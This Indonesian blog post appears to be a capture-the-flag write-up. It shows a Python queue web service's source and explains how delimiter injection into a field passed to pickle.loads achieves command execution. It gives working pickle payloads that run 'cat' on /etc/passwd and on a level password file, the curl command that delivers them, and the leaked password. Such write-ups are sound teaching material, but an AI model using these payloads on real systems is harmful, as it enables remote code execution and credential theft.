job): job_complete = False for i in range(10): if os.path.exists(job.result_file()): logger.debug('Results file %s found' % job.result_file()) job_complete = True break else: logger.debug('Results file %s does not exist; sleeping' % job.result_file()) time.sleep(0.2) if job_complete: f = open(job.result_file()) result = f.read() os.unlink(job.result_file()) return QueueUtils.deserialize(result) else: return None class QueueWorker(object): def __init__(self): # ensure tmp directories exist if not os.path.exists(Job.QUEUE_JOBS): os.mkdir(Job.QUEUE_JOBS) if not os.path.exists(Job.QUEUE_RESULTS): os.mkdir(Job.QUEUE_RESULTS) def poll(self): while True: available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)] for job_file in available_jobs: try: self.process(job_file) except Exception, e: logger.error('Error processing %s' % job_file) traceback.print_exc() else: logger.debug('Successfully processed %s' % job_file) finally: os.unlink(job_file) if available_jobs: logger.info('Processed %d available jobs' % len(available_jobs)) else: time.sleep(1) def process(self, job_file): serialized = open(job_file).read() type, data, job = QueueUtils.deserialize(serialized) job.start() result_data = self.perform(data) job.complete() QueueUtils.enqueue('RESULT', result_data, job) def perform(self, data): return data.upper() class QueueHttpServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(404) self.send_header('Content-type','text/plain') self.end_headers() output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." } self.wfile.write(json.dumps(output)) self.wfile.close() def do_POST(self): length = int(self.headers.getheader('content-length')) post_data = self.rfile.read(length) raw_data = urllib.unquote(post_data) queue = QueueServer() job = Job() type, data, job = queue.run_job(data=raw_data, job=job) if job: status = 200 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created } else: status = 504 output = { 'result' : data } self.send_response(status) self.send_header('Content-type','text/plain') self.end_headers() self.wfile.write(json.dumps(output, sort_keys=True, indent=4)) self.wfile.write('\n') self.wfile.close() def run_server(): try: server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer) logger.info('Starting QueueServer') server.serve_forever() except KeyboardInterrupt: logger.info('^C received, shutting down server') server.socket.close() def run_worker(): worker = QueueWorker() worker.poll() def main(): parser = optparse.OptionParser("""%prog [options] type""") parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.', dest='verbosity', action='count', default=0) opts, args = parser.parse_args() if opts.verbosity == 1: logger.setLevel(logging.INFO) elif opts.verbosity >= 2: logger.setLevel(logging.DEBUG) if len(args) != 1: parser.print_help() return 1 if args[0] == 'worker': run_worker() elif args[0] == 'server': run_server() else: raise ValueError('Invalid type %s' % args[0]) return 0 if __name__ == '__main__': sys.exit(main())
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini
memakai module pickle yang diketahui dangerous bila tidak berhati-hati
memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
1 2 3 4 5 6 7 8 | def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job |
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah
string menjadi object (deserialize). Fungsi load ini bisa diexploitasi
untuk mengeksekusi command shell bila string yang diload adalah string
yang malicious.
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri
agar lebih leluasa melihat lognya. Dengan menjalankan command:
curl localhost:9020 -d 'testdata'
Berikut ini adalah log yang terlihat:
1 2 | Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <-- |
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat
string yang akan di load oleh pickle. Input program ini ada 3 field:
type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah
field job yang bukan berasal dari input user, sedangkan string yang
diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan
bagian dari field job.
Ide serangannya adalah dengan menginjeksi malicious string yang bila
diload oleh pickle akan mengeksekusi command. Contoh string yang
malicious adalah:
cos system (S'cat /etc/passwd' tR.
String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak
ikut diload oleh pickle karena input user masuk dalam field data, bukan
field job. Bagaimanakah caranya agar input user dianggap sebagai bagian
dari field job ?
Dari fungsi deserializae() terlihat ada regular expression yang memecah
sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut
dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input
string yang mengandung karakter ‘;’ seperti ini:
curl localhost:9020 -d 'inidata; job: inijob'
Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--
Perhatikan bahwa sebagian dari string yang kita input kini menjadi
bagian dari field job dan ikut diload oleh pickle. Ini karena regular
expression mendeteksi adanya karakter ‘;’ dalam input string kita
sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’
menjadi bagian dari field job.
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field
job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun
payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload
sederhana di bawah ini password level06 bisa didapatkan.
$ cat payload.pkl cos system (S'cat /home/level06/.password > /tmp/levelsixx' tR. $ curl localhost:9020 -d "hajar; job: `cat payload.pkl`" { "result": "Job timed out" } $ cat /tmp/levelsixx SF2w8qU1QDj
Tidak ada komentar:
Posting Komentar
Sebelum Berkomentar Anda Wajib Baca Peraturan Terlebih Dahulu !!! :D
Peraturan :
- Dont Spam
- Dilarang Berkata Kotor
- Blog Ini Sudah Saya Setting Menjadi Dofollow
Silahkan Berkomentar
Just For Fun !!! ^_^
Jika anda telah melanggar peraturan, Komentar anda akan saya HAPUS